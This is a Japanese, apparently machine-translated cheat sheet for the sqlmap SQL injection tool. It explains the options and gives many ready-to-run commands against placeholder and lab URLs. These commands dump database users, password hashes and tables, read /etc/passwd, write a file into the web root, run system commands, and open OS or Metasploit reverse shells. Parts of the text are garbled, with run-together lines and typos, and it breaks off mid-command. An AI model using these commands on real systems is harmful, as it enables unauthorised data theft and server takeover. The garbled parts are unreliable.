基本的な操作上の注意事項:
-u # 注入ポイント
-f #指紋認証データベースの種類
-b #データベースのバージョン情報を取得します
-p #テスト可能なパラメータを指定します (?page=1&id=2 -p "page,id")
-D "" # データベース名を指定します
-T "" #テーブル名を指定
-C "" # フィールドを指定します
-s "" #注入プロセスをファイルに保存すると、中断でき、次回注入が再開されます (保存: -s "xx.log" 復元: -s "xx.log" --resume)
–level=(1-5) #実行するテストレベル。デフォルトは1です。
–risk=(0-3) #テスト実行のリスク レベル、デフォルトは 1
–time-sec=(2,5) #遅延応答、デフォルトは 5
–data #POST経由でデータを送信
–columns #フィールドをリストします
–current-user #現在のユーザー名を取得します
–current-db #現在のデータベース名を取得します
–users #データベースのすべてのユーザーをリストします
–passwords #すべてのデータベース ユーザーのパスワード
–privileges #ユーザー権限の表示 (–privileges -U root)
-U #データベースユーザーを指定します
–dbs #すべてのデータベースをリストする
–tables -D "" #指定されたデータベース内のテーブルをリストします。
–columns -T "user" -D "mysql" #mysql データベース内の user テーブルのすべてのフィールドをリストします。
--dump-all #すべてのデータベースのすべてのテーブルをリストします
–exclude-sysdbs #ユーザー自身が作成したデータベースとテーブルのみをリストします
–dump -T "" -D "" -C "" #指定したデータベース内のテーブルのフィールドのデータを一覧表示します (–dump -T users -D master -C姓)
–dump -T "" -D "" --start 2 --top 4 # 指定したデータベース内のテーブルのフィールド 2 ~ 4 のデータを一覧表示します。
–dbms #データベースを指定します (MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB)
–os #システムを指定します (Linux、Windows)
-v # 詳細レベル (0-6) 0: Python のバックトレース、エラー、および重要なメッセージのみを表示します。
1: 情報と警告メッセージを表示します。
2: デバッグメッセージを表示します。
3: ペイロード注入。
4: HTTP リクエストを表示します。
5: HTTP 応答ヘッダーを表示します。
6: HTTPレスポンスページの内容を表示する
–privilege #表示権限
–is-dba #データベース管理者です
–roles #データベース ユーザー ロールを列挙します
–udf-inject #ユーザー定義関数のインポート (システム権限の取得)
–union-check #ユニオンインジェクションをサポートするかどうか
–union-cols #union クエリ テーブル レコード
--union-test #union ステートメントのテスト
–union-use #ユニオンインジェクションを使用する
–union-tech orderby #union配合order by
-data "" #POST データ送信方法 (-data "page=1&id=2")
–cookie “; で区切られています” #cookie の注入 (–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) --referer “” #リファラーの欺瞞を使用します (-referer “http://”)
–user-agent "" #custom user-agent
–proxy “http://127.0.0.1:8118” #プロキシインジェクション
–string="" #キーワードを指定します。文字列は一致します。
–threads #マルチスレッドを使用する (-threads 3)
–sql-shell #指定されたSQLコマンドを実行します
–sql-query #指定された SQL ステートメントを実行します (–sql-query "SELECT パスワード FROM mysql.user WHERE user = 'root' LIMIT 0, 1")
–file-read #指定されたファイルを読み取ります
–file-write #ローカル ファイルに書き込みます (–file-write /test/test.txt --file-dest /var/www/html/1.txt; ローカルの test.txt ファイルをターゲット 1.txt に書き込みます)
–file-dest #書き込むファイルの絶対パス
–os-cmd=id #システムコマンドを実行する
–os-shell #システム対話型シェル
–os-pwn #リバウンドシェル(–os-pwn --msf-path=/opt/framework/msf3/)
–msf-path= #matesploit 絶対パス (–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #win システム レジストリを読み取ります
--priv-esc #
–time-sec= #遅延設定のデフォルト –time-sec=5 は 5 秒です -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #ユーザーを指定します- エージェントの注入
–eta # ブラインド インジェクション /pentest/database/sqlmap/txt/common-columns.txt フィールド ディクショナリ
共通出力.txt
common-tables.txt テーブル ディクショナリ
キーワード.txt
oracle-デフォルト-パスワード.txt
ユーザーエージェント.txt
単語リスト.txt
よく使われる文:
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C ユーザー名 -D userdb --start 2 --stop 3 -v 2
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C “user,pass” -v 1 --exclude-sysdbs
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read “c:\boot.ini” -v 2
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/ 1.txt -v 2
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd “id” -v 1
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc - v1
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1
13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key=“HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” --reg-value=テスト--reg-type=REG_SZ --reg-data=1
14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --and
15./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id --prefix “')” --suffix "AND ('abc'=' abc"16./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"17 ./sqlmap.py -l burp.log --scope=”(www)?.target.(com|net|org)"18./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql /get_int.php?id=1” --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
19./sqlmap.py -u “http://192.168.136.131/sqlmap/mssql/get_int.php?id=1” --sql-query “SELECT 'foo'” -v 1
20./sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1” --common-tables -D testdb --banner
21./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid" 単純な注入プロセス:
1. データベースのバージョン、現在のユーザー、現在のデータベースを読み取ります。
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2. 現在のデータベース ユーザー権限を確認します。
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U ユーザー名 -v 1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U ユーザー名 -v 1
3. すべてのデータベース ユーザーまたは指定されたデータベース ユーザーのパスワードを読み取ります。
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4. すべてのデータベースを取得する
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5. 指定したデータベース内のすべてのテーブルを取得します
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6. 指定されたデータベース名の指定されたテーブルのフィールドを取得します。
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7. 指定したデータベース名の指定したテーブルの指定したフィールドのデータを取得します
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C “ユーザー名,パスワード” -s “sqlnmapdb.log” -v 2
8.file-read は Web ファイルを読み取ります
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read “/etc/passwd” -v 2
9.file-write ファイルを Web に書き込みます
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file